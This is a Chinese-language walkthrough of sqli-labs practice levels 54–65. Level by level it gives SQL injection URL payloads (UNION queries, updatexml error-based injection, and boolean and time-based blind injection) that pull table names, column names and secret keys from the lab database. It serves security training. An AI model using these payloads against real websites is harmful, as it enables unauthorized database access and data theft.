sqli-labs靶场54-65关(次数限制,数据更新)
目录
less54(单引号联合查询)
less55(数字型括号闭合)
less56(单引号括号闭合)
less57(双引号闭合)
less58(单引号报错注入)
less59(数字型报错注入)
less60(双引号括号报错)
less61(单引号双括号闭合)
less62(单引号括号布尔)
less63(单引号时间盲注)
less64(整数型双括号闭合)
less65(双引号括号闭合)
less54(单引号联合查询)
根据提示,我们需要获得并提交secret key,只有十次机会。
首先判断闭合:
?id=1'报错,?id=1'--+正常回显——判断为单引号闭合
?id=1' order by 4--+——判断出有三处回显
?id=' union select 1,2,3--+——找到回显位置
?id=' union select 1,database(),3--+——爆数据库:
可以看到数据库名不再是真正的数据库secirity
?id=' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='challenges'--+——爆表名:
此时,已经用了十次机会了,我们刷新,再次爆表名:
可以看到表名换了!
?id=' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='7znmd3mw6i' and table_schema='challenges'--+——爆字段名
?id=' union select 1,group_concat(secret_GMAW),3 from challenges.7znmd3mw6i--+——爆字段数据:
最终得到secret key
less55(数字型括号闭合)
?id=1'报错——判断为单引号闭合
?id=1'--+报错——没有完全闭合
?id=1')--+和?id=1'))--+均报错——不是单引号闭合
判断可能是数字型的
?id=1--+报错
?id=1)--+回显正常——判断为数字型括号闭合
?id=1) order by 3--+——判断有三处回显
?id=-1) union select 1,2,3--+——找到回显位置:
?id=-1) union select 1,2,database()--+——爆数据库
?id=-1) union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+——爆表名
?id=-1) union select 1,2,group_concat(column_name) from information_schema.columns where table_name='uepau522nk' and table_schema='challenges'--+——爆字段名
?id=-1) union select 1,2,group_concat(secret_AM07) from challenges.uepau522nk--+——爆数据
less56(单引号括号闭合)
?id=1')--+正常回显——判断为单引号括号闭合
?id=1') order by 3--+——判断回显数
?id=-1') union select 1,2,3--+——找到闭合位置
?id=-1') union select 1,2,database()--+——爆数据库
?id=-1') union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+——爆表名
?id=-1') union select 1,2,group_concat(column_name) from information_schema.columns where table_name='viqqanp2ve' and table_schema='challenges'--+——爆字段名
?id=-1') union select 1,2,group_concat(secret_O7ZS) from challenges.viqqanp2ve--+——爆数据
less57(双引号闭合)
?id=1"--+正常回显——判断为双引号闭合
?id=1" order by 3--+——判断回显数
?id=-1" union select 1,2,3--+——判断回显位置
?id=-1" union select 1,2,database()--+——爆数据库
?id=-1" union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='challenges'--+——爆表名
?id=-1" union select 1,2,group_concat(column_name) from information_schema.columns where table_name='o2dzll4tcs' and table_schema='challenges'--+——爆字段名
?id=-1" union select 1,2,group_concat(secret_AXKR) from challenges.o2dzll4tcs--+——爆数据:
less58(单引号报错注入)
?id=1'--+——判断为单引号闭合
因为这里有报错信息,所以我们直接利用报错注入:
?id=1' and updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库
?id=1' and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+——爆表名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='jbo4s08eoh' and table_schema='challenges'),0x7e),1)--+——爆字段名
?id=1' and updatexml(1,concat(0x7e,(select group_concat(secret_OVQV) from challenges.jbo4s08eoh),0x7e),1)--+——爆数据:
less59(数字型报错注入)
尝试各种闭合最终均报错,判断可能是数字型
?id=1--+正常回显——判断为数字型
?id=1 and updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库
?id=1 and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+——爆表名:
?id=1 and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='2q1hlvjbn9' and table_schema='challenges'),0x7e),1)--+——爆字段名
?id=1 and updatexml(1,concat(0x7e,(select group_concat(secret_DVR1) from challenges.2q1hlvjbn9),0x7e),1)--+——爆数据
less60(双引号括号报错)
?id=1")--+——判断为双引号括号闭合
?id=1") and updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库
?id=1") and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+——爆表名
?id=1") and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='rre9oj57my' and table_schema='challenges'),0x7e),1)--+——爆字段名
?id=1") and updatexml(1,concat(0x7e,(select group_concat(secret_GFO1) from challenges.rre9oj57my),0x7e),1)--+——爆数据
less61(单引号双括号闭合)
?id=1'))--+正常回显——判断为单引号双括号闭合
?id=1')) and updatexml(1,concat(0x7e,(database()),0x7e),1)--+——爆数据库
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema='challenges'),0x7e),1)--+——爆表名
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='2t7l282xer' and table_schema='challenges'),0x7e),1)--+——爆字段名
?id=1')) and updatexml(1,concat(0x7e,(select group_concat(secret_XR3E) from challenges.2t7l282xer),0x7e),1)--+——爆数据
less62(单引号括号布尔)
?id=1')--+——判断为单引号括号闭合
?id=1') order by 3--+——判断回显数
这里判断回显位置的时候,没有得到预期的回显内容
那么重新尝试布尔盲注:
?id=1') and (select length(database())=1)--+——爆数据库名长度:
?id=1') and substr((select database()),1,1)='a'--+——爆数据库
?id=1') and substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='a'--+——爆表名
?id=1') and substr((select column_name from information_schema.columns where table_name='2t7l282xer' and table_schema='challenges' limit 0,1),1,1)='a'--+——爆字段名
?id=1') and substr((select secret_XR3E from challenges.2t7l282xer limit 0,1),1,1)='a'--+——爆数据
less63(单引号时间盲注)
?id=1'--+——判断为单引号闭合
还是和less62差不多,联合查询注入失效,可以用布尔盲注或时间盲注,这里演示时间盲注:
?id=1' and if((length(database())=10),sleep(5),1)--+——爆数据库名长度
?id=1' and if((substr((select database()),1,1)='c'),sleep(5),1)--+——爆数据库:
?id=1' and if((substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)='e'),sleep(5),1)--+——爆表名:
?id=1' and if((substr((select column_name from information_schema.columns where table_name='xfy4elkcg' and table_schema='challenges' limit 0,1),1,1)='i'),sleep(5),1)--+——爆字段名
?id=1' and if((substr((select secret_XR3E from challenges.xfy4elkcg limit 0,1),1,1)='D'),sleep(5),1)--+——爆数据
less64(整数型双括号闭合)
?id=1))--+——判断为整数型双括号闭合
和less62/63一样,可以布尔盲注也可以时间盲注,paload和less62、63除了闭合方式不一样,其他都一样,不做赘述。
less65(双引号括号闭合)
?id=1")--+——判断为双引号括号闭合
和less62/63/64一样,可以布尔盲注也可以时间盲注,paload和less62、63、64除了闭合方式不一样,其他都一样,不做赘述。